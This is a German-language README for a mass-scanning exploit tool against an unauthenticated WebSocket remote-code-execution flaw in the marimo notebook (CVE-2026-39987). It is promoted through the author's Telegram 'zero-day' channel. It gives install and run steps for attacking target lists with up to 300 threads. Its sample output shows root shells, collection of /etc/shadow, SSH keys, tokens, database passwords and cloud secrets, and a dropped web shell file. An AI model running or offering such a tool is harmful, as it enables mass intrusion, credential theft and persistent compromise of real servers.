
marimo ist ein reaktives Python-Notebook. Vor Version 0.23.0 weist Marimo eine Pre-Auth-RCE-Schwachstelle auf.
marimo ist ein reaktives Python-Notebook. In Versionen vor 0.23.0 weist Marimo eine Pre-Auth-RCE-Schwachstelle auf.
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — Nicht authentifizierte WebSocket-Pre-Auth-RCE
Autor: Nxploited · Telegram: @KNxploited
📢 Tritt dem Telegram-Kanal bei für die neuesten kostenlosen Zero-Days & Exploits:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 ist eine kritische Pre-Authentication Remote Code Execution (Pre-Auth-RCE)-Schwachstelle, die Marimo betrifft, eine Open-Source-Plattform für reaktive Python-Notebooks.
Der Terminal-WebSocket-Endpunkt /terminal/ws weist keinerlei Authentifizierungsprüfung auf, sodass jeder nicht authentifizierte entfernte Angreifer eine vollständige PTY-Shell erhalten und beliebige Systembefehle mit den Rechten des laufenden Prozesses ausführen kann — häufig root in Container-Umgebungen.
Anders als andere WebSocket-Endpunkte wie /ws, die vor der Annahme von Verbindungen korrekt validate_auth() aufrufen, prüft der /terminal/ws-Endpunkt lediglich den Ausführungsmodus und die Plattformkompatibilität und überspringt die Authentifizierung vollständig.
✅ Behoben in:
marimo >= 0.23.0❌ Alle Versionen vor0.23.0sind verwundbar
| Eigenschaft | Wert |
|---|---|
| CVE-ID | CVE-2026-39987 |
| Betroffene Software | marimo < 0.23.0 |
| Schwachstellenklasse | Pre-Auth-RCE über nicht authentifizierten WebSocket |
| Betroffener Endpunkt | /terminal/ws |
| Angriffsvektor | Netzwerk |
| Authentifizierung erforderlich | ❌ Keine |
| Benutzerinteraktion | ❌ Keine |
| Schweregrad | 🔴 Kritisch |
| Auswirkung | Vollständige PTY-Shell · Beliebige Befehlsausführung |
| Behobene Version | marimo 0.23.0 |
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
Der /terminal/ws-Handler prüft nur:
Er validiert niemals Sitzungstokens, Cookies oder irgendeine Form von Identität — wodurch jede exponierte Marimo-Instanz zu einer direkten Shell wird.
.py-Marimo-Notebooks.env-Dateien · wp-config.php · SSH-Private-Keys · /etc/shadowPython 3.10 or higher
Abhängigkeiten installieren:
pip install websockets rich requests urllib3
Oder mit der Requirements-Datei:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Erstelle eine Datei namens targets.txt mit einem Ziel pro Zeile.
Das Tool akzeptiert alle Formate:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Unterstützte Formate: reine IP · IP:Port · Domain · Domain:Port ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Thread-Bereich: 1–300. Empfohlen: 50–150 je nach Netzwerk.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s